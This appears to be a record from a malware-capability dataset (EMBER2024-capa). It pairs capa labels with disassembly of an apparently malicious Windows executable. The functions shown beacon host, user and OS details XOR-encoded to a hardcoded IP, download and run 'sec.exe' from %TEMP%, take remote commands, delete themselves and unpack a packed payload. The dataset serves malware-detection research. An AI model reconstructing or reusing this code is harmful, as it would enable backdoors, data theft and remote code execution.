joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401280
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3ab8
call fcn.0040a690
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0x10]
movzx ecx, cx
mov dword [ebp - 0x3aa0], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x3a9c], ecx
mov dword [ebp - 0x3a98], edx
mov dword [ebp - 0x3a94], eax
mov edi, edi
mov ecx, 0x3a34
cmp ebx, 0x3a34
ja 0x4012cf
mov ecx, ebx
sub ebx, ecx
mov esi, 0x1a2c
xor edi, edi
mov dword [ebp - 0x3a90], ecx
mov dword [ebp - 0x3ab0], ebx
mov dword [ebp - 0x3ab4], ecx
mov dword [ebp - 0x3aa8], esi
mov eax, 0x4c5b
test ecx, ecx
jle 0x4013af
mov ecx, dword [ebp - 0x3aa0]
lea edx, [ebp - 0x3a8c]
sub ecx, edx
mov dword [ebp - 0x3aac], ecx
mov edx, esi
shr edx, 8
mov dword [ebp - 0x3aa4], edx
mov ebx, eax
shr ebx, 0x18
mov edx, eax
shr edx, 0x10
and bl, dl
mov edx, esi
mov ecx, eax
shr ecx, 8
and bl, cl
mov dword [ebp - 0x3ab8], ecx
mov ecx, esi
mov esi, dword [ebp - 0x3aac]
shr ecx, 0x18
shr edx, 0x10
and cl, dl
mov dl, byte [ebp - 0x3aa4]
xor bl, cl
mov ecx, dword [ebp - 0x3aa8]
and dl, cl
xor bl, dl
lea edx, [ebp + edi - 0x3a8c]
xor bl, byte [esi + edx]
lea esi, [eax*4]
xor esi, eax
add esi, esi
xor esi, eax
xor bl, al
and esi, 0xfffffff0
shl eax, 4
xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x3ab8]
shl esi, 0x14
or esi, dword [ebp - 0x3aa4]
inc edi
mov byte [edx], bl
mov dword [ebp - 0x3aa8], esi
mov eax, ecx
cmp edi, dword [ebp - 0x3ab4]
jl 0x401311
mov ecx, dword [ebp - 0x3a90]
mov ebx, dword [ebp - 0x3ab0]
add dword [ebp - 0x3aa0], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3a9c]
test si, si
je 0x401407
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
js 0x4013e1
add edi, eax
sub esi, eax
jmp 0x401402
cmp eax, 0xffffffff
jne 0x401402
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401420
cmp eax, 0x2744
je 0x401420
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test si, si
jne 0x4013c6
test ebx, ebx
jne 0x4012c0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x401440
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [0x410f60]
push esi
push edi
push str.158.69.115.115
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x401483
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
xor eax, eax
cmp esi, 0xffffffff
je 0x4014f0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push ebx
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea ecx, [ebp - 0x14]
push ecx
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4014ee
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x401510
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [str.ProductName]
mov eax, dword [ebp + 0xc]
mov edx, dword [0x40e270]
push edi
push 0x58
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x268], eax
mov eax, dword [0x40e274]
lea ecx, [ebp - 0x250]
push 0
push ecx
mov dword [ebp - 0x258], edx
mov dword [ebp - 0x254], eax
call fcn.00406a90
mov edx, dword [str.CSDVersion]
mov eax, dword [0x40e27c]
mov cx, word [0x40e280]
push 0x59
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x1f8], edx
mov dl, byte [0x40e282]
lea eax, [ebp - 0x1ed]
push 0
push eax
mov word [ebp - 0x1f0], cx
mov byte [ebp - 0x1ee], dl
call fcn.00406a90
push 0x190
lea ecx, [ebp - 0x194]
push 0
push ecx
call fcn.00406a90
push 0x64
call fcn.00402bc7
add esp, 0x28
cmp byte [ebp + 8], 1
mov edi, eax
jne 0x401697
lea edx, [ebp - 0x260]
push edx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion_
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401697
push ebx
push esi
xor ebx, ebx
mov edx, dword [ebp - 0x260]
mov eax, ebx
imul eax, eax, 0x64
lea ecx, [ebp - 0x264]
push ecx
push 0
push 0
push 0
lea esi, [ebp + eax - 0x25c]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [ebp - 0x264]
push eax
push edi
call fcn.00402f7f
mov ecx, dword [ebp - 0x264]
push ecx
push 0
push edi
call fcn.00406a90
mov eax, dword [ebp - 0x260]
add esp, 0x14
lea edx, [ebp - 0x264]
push edx
push edi
push 0
push 0
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40166c
test ebx, ebx
jne 0x40166c
mov ecx, dword [ebp - 0x268]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40167e
mov edx, dword [ebp - 0x268]
push 0x40e284
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
inc ebx
cmp ebx, 2
jl 0x4015f4
mov eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop edi
call fcn.00402b34
mov esp, ebp
pop ebp
ret

Function at 0x4016b0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x9c
lea eax, [ebp - 0xa0]
push 0
push eax
call fcn.00406a90
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
add esp, 0xc
lea ecx, [ebp - 0xa0]
push ecx
mov dword [ebp - 0xa0], 0x9c
call esi
test eax, eax
jne 0x40171f
lea edx, [ebp - 0xa0]
push edx
mov dword [ebp - 0xa0], 0x94
call esi
test eax, eax
jne 0x40171f
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x90]
sub eax, 2
mov eax, dword [ebp - 0x9c]
push ebx
jne 0x40173f
cmp eax, 5
je 0x40173b
cmp eax, 6
jne 0x40173f
mov bl, 1
jmp 0x401745
mov bl, byte [ebp - 0xa1]
mov ecx, dword [ebp - 0x98]
push ecx
push eax
push str._d._d
push edi
call fcn.00402b43
mov ecx, dword [ebp - 4]
add esp, 0x10
mov al, bl
pop ebx
xor ecx, ebp
pop esi
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x401770
Capabilities:
Get hostname
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x778
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 8], eax
push edi
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0xdc]
push ecx
mov dword [ebp - 0x774], 0x14
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edi, [ebp - 0x74]
call fcn.004016b0
mov byte [ebp - 0x770], al
mov eax, dword [ebp - 0x770]
mov edx, edi
push edx
push eax
call fcn.00401510
mov ecx, edi
push ecx
lea edx, [ebp - 0xdc]
push edx
lea eax, [ebp - 0x4bc]
push str._s__s
push eax
call fcn.00402b43
lea eax, [ebp - 0x4bc]
add esp, 0x18
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4017e6
lea ecx, [ebp - 0x76c]
sub eax, edx
push ecx
inc eax
push 2
mov dword [ebp - 0x4c0], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40183f
push 0xff
lea edx, [ebp - 0x5dc]
push edx
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x401839
lea eax, [ebp - 0x5dc]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401839
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov ecx, dword [edx]
jmp 0x401841
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor ecx, ecx
mov eax, 0x45e7b273
imul dword [0x410f64]
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
push edx
lea eax, [ebp - 0x4bc]
mov dword [ebp - 0x4d4], ecx
mov edx, ecx
push eax
lea ecx, [ebp - 0x4dc]
call fcn.004010a0
mov eax, dword [ebp - 0x4c0]
mov edx, dword [ebp - 0x4dc]
push ecx
mov ecx, dword [ebp + 8]
add eax, 0x20
push eax
push 0
push ecx
mov ecx, 0x9e2
mov dword [0x411d10], edx
call fcn.00401280
mov ecx, dword [ebp - 8]
add esp, 0x18
xor ecx, ebp
pop edi
call fcn.00402b34
mov esp, ebp
pop ebp
ret

Function at 0x4018c0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov esi, eax
test eax, eax
je 0x40191a
mov ebx, dword [sym.imp.WS2_32.dll_recv]
mov eax, dword [ebp + 8]
push 0
push esi
push edi
push eax
call ebx
test eax, eax
jle 0x4018eb
add edi, eax
sub esi, eax
jmp 0x40190c
cmp eax, 0xffffffff
jne 0x401918
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401918
cmp eax, 0x2744
je 0x401918
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x4018d7
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401920
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea edi, [ebp - 0x18]
mov esi, 0x10
lea ebx, [ebx]
push 0
push esi
push edi
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401955
add edi, eax
sub esi, eax
jmp 0x401982
cmp eax, 0xffffffff
jne 0x401a4c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2746
je 0x401a4c
cmp eax, 0x2744
je 0x401a4c
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
test esi, esi
jne 0x401940
cmp dword [ebp - 0x18], 0x1055
je 0x401a1e
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x10
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, dword [0x412118]
mov dword [esi*4 + 0x411d18], eax
test eax, eax
je 0x401a4c
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x10]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 0xc]
mov dword [eax + 0xc], edx
cmp dword [ebp - 0xc], 0
jbe 0x401a12
mov esi, dword [esi*4 + 0x411d18]
mov eax, dword [esi + 0xc]
push eax
lea eax, [esi + 0x10]
push ebx
call fcn.004018c0
add esp, 8
test eax, eax
je 0x401a33
mov esi, dword [0x412118]
mov ecx, dword [esi*4 + 0x411d18]
lea eax, [ecx + 0x10]
mov ecx, dword [ecx + 0xc]
mov edx, eax
call fcn.00401000
inc esi
mov dword [0x412118], esi
jmp 0x401932
pop edi
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x412118]
mov edx, dword [ecx*4 + 0x411d18]
push edx
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x401b80
Capabilities:
Download url
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov edi, edx
cmp esi, ebx
je 0x401cb3
cmp edi, ebx
jne 0x401bad
mov edi, str.sec.exe
lea eax, [ebp - 0x808]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x808]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push esi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push edi
mov dword [ebp - 0x80c], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401cb3
push ebx
push ebx
lea edx, [ebp - 0x80c]
push edx
push esi
push ebx
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
js 0x401cb3
push 0x400
lea eax, [ebp - 0x407]
push ebx
push eax
mov dword [ebp - 0x810], ebx
mov byte [ebp - 0x408], bl
call fcn.00406a90
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0xc
lea ebx, [ebx]
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
lea edx, [ebp - 0x810]
push edx
push 0x400
lea edx, [ebp - 0x408]
push edx
push eax
mov eax, dword [ecx + 0xc]
call eax
push 0
lea ecx, [ebp - 0x814]
push ecx
push 0x400
lea edx, [ebp - 0x408]
push edx
push edi
mov esi, eax
call ebx
push 0x400
lea eax, [ebp - 0x408]
push 0
push eax
call fcn.00406a90
add esp, 0xc
test esi, esi
js 0x401c9a
cmp esi, 1
jne 0x401c40
mov eax, dword [ebp - 0x80c]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x401cb5
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402b34
mov esp, ebp
pop ebp
ret

Function at 0x401cd0
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x108]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x44
xor esi, esi
lea ecx, [ebp - 0x160]
push esi
push ecx
call fcn.00406a90
mov ebx, dword [sym.imp.KERNEL32.dll_CreateProcessA]
xor eax, eax
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x128], esi
mov dword [ebp - 0x134], 0x101
mov word [ebp - 0x130], dx
mov edi, edi
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x160]
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
call ebx
test eax, eax
jne 0x401d79
inc esi
cmp esi, 8
jl 0x401d50
cmp esi, 8
jne 0x401d90
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x4025b0
Capabilities:
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1a4
mov eax, dword [0x41003c]
xor eax, esp
mov dword [esp + 0x1a0], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x101
xor edi, edi
mov esi, 0x2bf20
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402667
call fcn.00401440
mov ebx, eax
test ebx, ebx
jne 0x402610
cmp edi, 4
jge 0x402602
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025e8
mov esi, 0xa4cb80
push esi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025e8
push ebx
call fcn.00401770
add esp, 4
call fcn.00401920
test eax, eax
jne 0x402631
cmp edi, 4
jge 0x402602
push esi
inc edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025e8
push ebx
call fcn.00402520
add esp, 4
push 0
push 0xa
lea ecx, [esp + 0x1a8]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x402658
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov edx, dword [0x410f64]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4025e8
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00402b34
mov esp, ebp
pop ebp
ret
Function at 0x402a40
Capabilities:
Accept command line arguments
Create process on windows
Self delete
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
lea eax, [ebp - 0x408]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call fcn.00401a60
mov ebx, dword [ebp - 0x408]
add esp, 4
mov edi, eax
call fcn.00402680
mov eax, dword [edi + ebx*4 - 4]
mov ecx, str._run
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402aa0
test dl, dl
je 0x402a9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402aa0
add eax, 2
add ecx, 2
test dl, dl
jne 0x402a80
xor eax, eax
jmp 0x402aa5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402ae8
call fcn.004026f0
mov ecx, dword [edi]
push ecx
lea edx, [ebp - 0x404]
push str._c_del__q___s_____NUL
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x404]
push eax
push str.c:windows_system32cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.MUTEX394039_4930023
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
pop edi
pop ebx
test eax, eax
jne 0x402b22
push str.MUTEX394039_4930023
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call fcn.004025b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402b34
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00402b34
mov esp, ebp
pop ebp
ret 0x10

Function at 0x402b34
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41003c]
jne 0x402b3e
repz ret
jmp fcn.0040359b
Function at 0x408ffc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41003c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040583e
and dword [ebp - 0x14], 0
cmp dword [0x411ca8], 0
mov dword [ebp - 0x18], eax
jne 0x4090af
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x409157
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x409157
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x411ca8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x411cac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x411cb0], eax
call edi
push eax
call esi
mov dword [0x411cb8], eax
test eax, eax
je 0x4090af
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x411cb4], eax
mov eax, dword [0x411cb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x409108
cmp dword [0x411cb8], ecx
je 0x409108
push eax
call esi
push dword [0x411cb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x409108
test ebx, ebx
je 0x409108
call edi
test eax, eax
je 0x4090ff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4090ff
test byte [ebp - 8], 1
jne 0x409108
or dword [ebp + 0x10], 0x200000
jmp 0x40913b
mov eax, dword [0x411cac]
cmp eax, dword [ebp - 0x18]
je 0x40913b
push eax
call esi
test eax, eax
je 0x40913b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40913b
mov eax, dword [0x411cb0]
cmp eax, dword [ebp - 0x18]
je 0x40913b
push eax
call esi
test eax, eax
je 0x40913b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x411ca8]
call esi
test eax, eax
je 0x409157
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x409159
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402b34
leave
ret
Function at 0xd67f60
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.PFV1
lea edi, [esi - 0x60a000]
push edi
jmp 0xd67f7a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xd67f81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd67f70
mov eax, 1
add ebx, ebx
jne 0xd67f93
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xd67fa4
jne 0xd67fc3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd67fc3
dec eax
add ebx, ebx
jne 0xd67fb0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xd67f88
add ebx, ebx
jne 0xd67fbf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xd68015
xor ecx, ecx
sub eax, 3
jb 0xd67fdb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xd6804a
sar eax, 1
mov ebp, eax
jmp 0xd67fe6
add ebx, ebx
jne 0xd67fe6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd67fb4
inc ecx
add ebx, ebx
jne 0xd67ff4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd67fb4
add ebx, ebx
jne 0xd68001
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xd67ff6
jne 0xd68012
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xd67ff6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xd68034
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xd68026
jmp 0xd67f76
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xd68034
add edi, ecx
jmp 0xd67f76
pop esi
mov edi, esi
mov ecx, 0x5f192b
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xd6806f
cmp byte [edi], 0x93
jne 0xd68054
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xd68052
lea edi, [esi + 0x947000]
mov eax, dword [edi]
or eax, eax
je 0xd680c0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x96ce04]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x96cf58]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xd68075
mov ecx, edi
jns 0xd680a4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x96cf5c]
or eax, eax
je 0xd680ba
mov dword [ebx], eax
add ebx, 4
jmp 0xd68092
call dword [esi + 0x96cf6c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xd680f1
cmp al, 0xef
ja 0xd680e4
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xd680c6
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xd680d3
mov ebp, dword [esi + 0x96cf60]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xd68125
sub esp, 0xffffff80
jmp 0x9fb60b